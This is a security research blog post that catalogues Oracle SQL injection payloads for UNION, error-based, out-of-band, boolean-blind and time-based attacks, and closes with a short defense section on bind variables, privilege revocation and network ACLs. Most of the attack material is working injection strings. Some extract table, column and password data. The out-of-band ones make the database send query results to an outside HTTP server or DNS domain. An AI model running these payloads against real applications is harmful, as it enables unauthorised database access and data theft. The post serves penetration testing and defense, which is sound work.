Security Research

Oracle SQL Injection Techniques: A Summary

#Vulnerability#Security
Copper-orange fractured chain links and a database keyhole leaking faint light over a near-black teal-blue background, an injection query piercing the database boundary layer — symbolizing Oracle SQL injection and database security research

I’ve been running into Oracle injection tests more often lately, and solid writeups on the topic are surprisingly scarce online (MySQL material, by contrast, is everywhere). To speed up future testing and vulnerability hunting, I decided to revisit what I’d learned and put it all in one place. This post draws on Oracle’s official docs, fellow researchers’ blogs, and a few classic papers — feedback and discussion very welcome. Throughout, the user value is SQLINJECTION.

Note: This article was first written in August 2017. I’ve updated the version- and privilege-related details that have since gone stale and flagged the changes with side notes.

Oracle Injection Quirks

Before touching a payload, it’s worth nailing down the Oracle-vs-MySQL differences that trip people up. Everything below builds on these:

  • Every query needs a table: Oracle’s SELECT requires a FROM clause. When there’s no real table, use dual — Oracle’s dummy table that always holds exactly one row. (MySQL lets you SELECT 1 with no FROM; MySQL muscle memory will get you an ORA-00923 here fast.)
  • Strict type matching: Oracle enforces types strictly (MySQL is more lenient). In a UNION, each column’s type must match the target table’s column — use null as a placeholder where you can’t guess the type quickly.
  • Comments: Single-line --, multi-line /**/ — same as MySQL.
  • Data dictionary layout: Oracle has no information_schema. Metadata lives in views like user_tables, user_tab_columns, all_tables, dba_tables, and what you can see depends on your privileges.

UNION Injection

UNION injection is the most direct exfiltration path, as long as the page reflects query results. The steps mirror MySQL; only the table-name source and type matching differ.

Count the columns:

' order by 3 --

Find the reflection point (using null to sidestep type issues):

' union select null,null,null from dual --

Get the database version (Oracle’s sys.v_$version banner column is the analogue of MySQL’s version()):

' union select null,(select banner from sys.v_$version where rownum=1),null from dual --

Get table names (using rownum=1 to grab the first row, then <> to exclude one at a time — the standard workaround for Oracle having no LIMIT):

' union select null,(select table_name from user_tables where rownum=1),null from dual --
' union select null,(select table_name from user_tables where rownum=1 and table_name<>'T_USER'),null from dual --

Get column names from a target table (user_tab_columns is Oracle’s column-info view):

' union select null,(select column_name from user_tab_columns where table_name='T_USER' and rownum=1),null from dual --
' union select null,(select column_name from user_tab_columns where table_name='T_USER' and column_name<>'SUSER' and rownum=1),null from dual --
' union select null,(select column_name from user_tab_columns where table_name='T_USER' and column_name<>'SUSER' and column_name<>'SPWD' and rownum=1),null from dual --

Finally, pull the actual data:

' union select SNAME,SUSER,SPWD from T_USER --

Error-Based Injection

If the page echoes database errors, error-based injection is the first thing to reach for — it smuggles the query result out inside an error message. Unlike MySQL, where a single error function usually suffices, Oracle typically needs the error expression embedded in a comparison like 1=[error_expr] or 1>[error_expr] to trigger. Below are the functions I reach for most.

0x01 utl_inaddr.get_host_name()

' and 1=utl_inaddr.get_host_name((select user from dual))--

0x02 ctxsys.drithsx.sn()

' and 1=ctxsys.drithsx.sn(1,(select user from dual))--

ctxsys.drithsx.sn() error-based injection — ORA-20000 “thesaurus SQLINJECTION does not exist”

0x03 XMLType()

' and (select upper(XMLType(chr(60)||chr(58)||(select user from dual)||chr(62))) from dual) is not null--

XMLType() error-based injection — ORA-31011 “invalid QName :SQLINJECTION”

0x04 dbms_xdb_version.checkin()

' and (select dbms_xdb_version.checkin((select user from dual)) from dual) is not null--

dbms_xdb_version.checkin() error-based injection — ORA-31001

0x05 dbms_xdb_version.makeversioned()

' and (select dbms_xdb_version.makeversioned((select user from dual)) from dual) is not null--

dbms_xdb_version.makeversioned() error-based injection — ORA-31001

0x06 dbms_xdb_version.uncheckout()

' and (select dbms_xdb_version.uncheckout((select user from dual)) from dual) is not null--

dbms_xdb_version.uncheckout() error-based injection — ORA-31001

0x07 dbms_utility.sqlid_to_sqlhash()

' and (SELECT dbms_utility.sqlid_to_sqlhash((select user from dual)) from dual) is not null--

dbms_utility.sqlid_to_sqlhash() error-based injection — ORA-13797 “invalid SQL ID”

0x08 ordsys.ord_dicom.getmappingxpath()

' and 1=ordsys.ord_dicom.getmappingxpath((select user from dual),user,user)--
' and 1=ordsys.ord_dicom.getmappingxpath((select banner from v$version where rownum=1),user,user)--

ordsys.ord_dicom.getmappingxpath() error-based injection — ORA-53044 also leaks version 11.2.0.1.0

0x09 decode error: This one leans closer to boolean blind injection — it doesn’t reflect the query result, it just trips a divide-by-zero via 1/0 so you can infer whether the condition held from whether the page errors.

' and 1=(select decode(substr(user,1,1),'S',(1/0),0) from dual) --

decode triggers divide-by-zero — ORA-01476

Out-of-Band Data Retrieval

Out-of-band (OOB) retrieval borrows the idea from SQL Injection Attacks and Defense: make Oracle issue an HTTP or DNS request with the query result embedded in it, then read it off the external server’s logs. This turns tedious blind injection into direct data exfiltration. The same channel doubles as an internal-network probe (perhaps this is Oracle’s take on SSRF?).

0x01 utl_http.request() sends an HTTP request to an external host with the result in the URL. Stand up a web server to log the requests:

' and 1=utl_http.request('http://10.10.10.1:80/'||(select banner from sys.v_$version where rownum=1)) --

A real-world test captured the OOB request in VMware — the Oracle 11g client issues a GET to the target IP with the sys.v_$version.banner content embedded in the URL. That’s the canonical OOB exfiltration evidence.

utl_http.request() OOB: VMware capture shows 11g Enterprise Edition Release 11.2.0.1.0

0x02 utl_inaddr.get_host_address() embeds the result in a subdomain and reads it back from DNS logs (ricterz’s writeup is a good reference for the lab setup):

' and (select utl_inaddr.get_host_address((select user from dual)||'.t4inking.win') from dual) is not null--

utl_inaddr.get_host_address() error-based injection — ORA-29257 “unknown host SQLINJECTION.t4inking.win” utl_inaddr OOB DNS capture: Standard query 0x860f A SQLINJECTION.t4inking.win

In the 2017 original I asked whether this counted as Oracle’s SSRF — it does. utl_http exfiltrates data and can also probe arbitrary internal ports for liveness, making it a high-risk pivot into the internal network. That’s exactly why 11g R2 locked it behind an ACL.

Boolean Blind Injection

When the page neither reflects results nor errors, and you can only infer success from whether the page renders normally, boolean blind injection is the way. The generic approach is ASCII() + substr(). Below are the two payloads I’ve found most reliable across engagements — pair them with a script and you can extract data in bulk.

0x01 decode boolean blind: substr(user,1,1) is the condition, 'S' is the character to test. If it matches, return 1; otherwise return the default 0.

' and 1=(select decode(substr(user,1,1),'S',(1),0) from dual) --

decode is essentially:

decode(condition, val1, result1, val2, result2, ..., valn, resultn, default)
  if condition == val1 then return result1
  elsif condition == val2 then return result2
  ...
  else return default

The default can be a column name or any value you choose.

0x02 instr boolean blind: instr returns the position of a substring (0 if not found). By iterating over candidate substrings you can reconstruct the data character by character — similar in spirit to MySQL regexp injection.

' and 1=(instr((select user from dual),'SQL')) --

For example, select instr('abcdefgh','de') from dual returns 4 (positions are 1-indexed).

instr boolean blind: query for “SQL” returns 1

Time-Based Blind Injection

When even a boolean oracle isn’t available and only response time betrays execution, you’re in time-based blind territory. Oracle time-based injection usually leans on DBMS_PIPE.RECEIVE_MESSAGE() (a trick I picked up reading SQLMap’s source), or on pairing decode() with a deliberately expensive SQL operation. “Expensive” means something like select count(*) from all_objects — scanning a large volume of data introduces a measurable delay. The technique transfers to other databases too.

0x01 DBMS_PIPE.RECEIVE_MESSAGE()

' and 1=(DBMS_PIPE.RECEIVE_MESSAGE('a',10)) and '1'='1

A real-world payload (combined with CASE WHEN + ASCII + SUBSTRC for per-character testing):

' AND 7238=(CASE WHEN (ASCII(SUBSTRC((SELECT NVL(CAST(USER AS VARCHAR(4000)),CHR(32)) FROM DUAL),3,1))>96) THEN DBMS_PIPE.RECEIVE_MESSAGE(CHR(71)||CHR(106)||CHR(72)||CHR(73),1) ELSE 7238 END) AND '1'='1

The official signature:

DBMS_PIPE.RECEIVE_MESSAGE(pipename IN VARCHAR2, timeout IN INTEGER DEFAULT maxwait) RETURN INTEGER

For practical purposes, read it as DBMS_PIPE.RECEIVE_MESSAGE('any_string', delay_in_seconds).

0x02 decode time-based: select count(*) from all_objects burns time scanning every object in the database, so it works as the timing signal (analogous to the OWASP testing guide’s slot-machine example).

' and 1=(select decode(substr(user,1,1),'S',(select count(*) from all_objects),0) from dual) and '1'='1

You can also nest decode inside DBMS_PIPE.RECEIVE_MESSAGE:

' and 1=(select decode(substr(user,1,1),'A',DBMS_PIPE.RECEIVE_MESSAGE('RDS',5),0) from dual) and '1'='1

Defense

Looking back, Oracle injection has plenty of “shapes,” but they all share one root cause — SQL built by string concatenation. The defense follows directly:

  1. Bind variables / parameterized queries: The fundamental fix in any Oracle app, and it doubles as a performance win by cutting hard parses. JDBC: PreparedStatement. .NET: OracleParameter. MyBatis: #{} — never ${} for concatenation.
  2. Revoke PUBLIC privileges: UTL_HTTP, UTL_INADDR, DBMS_XDB_VERSION, DBMS_LOCK, UTL_FILE are granted to PUBLIC by default and are the main OOB and privilege-escalation channels. On production, explicitly REVOKE EXECUTE ON ... FROM PUBLIC and grant only to accounts that truly need it.
  3. Configure network ACLs: Since 11g R2, UTL_HTTP, UTL_INADDR, UTL_SMTP, UTL_TCP are all ACL-gated. Use DBMS_NETWORK_ACL_ADMIN to whitelist the hosts and ports they may reach, closing the OOB channel.
  4. Least-privilege accounts: The app’s DB account should never be SYS or SYSTEM. Use a low-privilege account with only SELECT/INSERT/UPDATE on business tables — then ALL_* and DBA_* views simply won’t expose sensitive metadata.
  5. WAF and database auditing: Add a layer that flags Oracle injection signatures (dual, utl_, dbms_, v_$version) and enable database auditing so you have a trail.

Final Thoughts

Oracle injection doesn’t come up every day, but when it does — especially in finance and government, where Oracle still dominates — lacking the technique repertoire will stall you. This summary collects the approaches fellow researchers have published plus the payloads I’ve validated in my own testing, both for my own reference and in the hope that it helps anyone stuck on Oracle injection find their footing.

The core point stands: injection’s root is concatenation, and defense’s root is bind variables. Every attack-side function and trick dissolves against parameterized queries; the high-risk OOB and error packages lose their teeth once you revoke PUBLIC and put an ACL in front. Know your adversary, think through both sides of the attack-defense line, and the defense holds firm.